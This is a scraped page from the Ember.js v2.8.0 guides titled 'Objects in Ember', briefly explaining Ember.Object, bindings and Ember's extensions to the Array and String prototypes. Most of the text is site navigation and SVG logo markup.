type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember176255" class="es-header ember-view" role="banner"><div id="ember176256" class="ember-view"><div class="container"> <nav id="ember176257" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember176258" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember176259" class="navbar-collapse collapse ember-view"><ul id="ember176260" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember176261" class="dropdown nav-item ember-view"> <a href="#" id="ember176262" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember176264" class="dropdown nav-item ember-view"> <a href="#" id="ember176265" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember176267" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember176268" class="dropdown nav-item ember-view"> <a href="#" id="ember176269" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember176271" class="dropdown nav-item ember-view"> <a href="#" id="ember176272" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember176274" class="nav navbar-nav ember-view"> <form> <div id="ember176275" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember176276" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember176277" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember176278" class="ember-basic-dropdown ember-view"> <div aria-label="v2.8.0" aria-owns="ember-basic-dropdown-content-ember176278" tabindex="0" data-ebd-id="ember176278-trigger" role="button" id="ember176279" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 2.8 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember176278" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember176283" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember176286" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/getting-started" id="ember176287" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember176288" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176290" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/tutorial" id="ember176291" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember176292" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176294" class="cp-Panel cp-is-open ember-view"><a href="/v2.8.0/object-model" id="ember176295" class="cp-Panel-toggle selected ember-view"> The Object Model </a> <div id="ember176296" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember176297" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 selected"> <a href="/v2.8.0/object-model/index" id="ember176299" class="ember-view"> Objects in Ember </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/classes-and-instances" id="ember176301" class="ember-view"> Classes and Instances </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/reopening-classes-and-instances" id="ember176303" class="ember-view"> Reopening Classes and Instances </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/computed-properties" id="ember176305" class="ember-view"> Computed Properties </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/computed-properties-and-aggregate-data" id="ember176307" class="ember-view"> Computed Properties and Aggregate Data </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/observers" id="ember176309" class="ember-view"> Observers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/bindings" id="ember176311" class="ember-view"> Bindings </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/enumerables" id="ember176313" class="ember-view"> Enumerables </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176315" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/routing" id="ember176316" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember176317" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176319" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/templates" id="ember176320" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember176321" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176323" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/components" id="ember176324" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember176325" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176327" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/controllers" id="ember176328" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember176329" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176331" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/models" id="ember176332" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember176333" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176335" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/applications" id="ember176336" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember176337" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176339" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/testing" id="ember176340" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember176341" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176343" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/ember-inspector" id="ember176344" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember176345" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176347" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/addons-and-dependencies" id="ember176348" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember176349" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176351" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/configuring-ember" id="ember176352" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember176353" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176355" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/contributing" id="ember176356" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember176357" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176359" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/glossary" id="ember176360" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember176361" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember176362" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v2.8.0. <a href="/release/object-model" id="ember176363" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v2.8.0/object-model/index.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Objects in Ember </h1> <hr> <div id="ember176364" class="ember-view"><p>You'll notice standard JavaScript class patterns and the new ES2015 classes aren't widely used in Ember. Plain objects can still be found, and sometimes they're referred to as "hashes".</p> <p>JavaScript objects don't support the observation of property value changes. Consequently, if an object is going to participate in Ember's binding system you may see an <code>Ember.Object</code> instead of a plain object.</p> <p><a href="https://api.emberjs.com/classes/Ember.Object.html">Ember.Object</a> also provides a class system, supporting features like mixins and constructor methods. Some features in Ember's object model are not present in JavaScript classes or common patterns, but all are aligned as much as possible with the language and proposed additions.</p> <p>Ember also extends the JavaScript <code>Array</code> prototype with its <a href="https://api.emberjs.com/classes/Ember.Enumerable.html">Ember.Enumerable</a> interface to provide change observation for arrays.</p> <p>Finally, Ember extends the <code>String</code> prototype with a few <a href="https://api.emberjs.com/classes/Ember.String.html">formatting and localization methods</a>.</p> </div> <footer id="ember176365" class="ember-view"> <a href="/v2.8.0/tutorial/deploying" id="ember176366" class="previous-guide ember-view">Deploying</a> <a href="/v2.8.0/object-model/classes-and-instances" id="ember176367" class="next-guide ember-view"> Classes and Instances </a></footer> </article> </main> <footer id="ember176368" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember176369" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember176370" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember176371" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 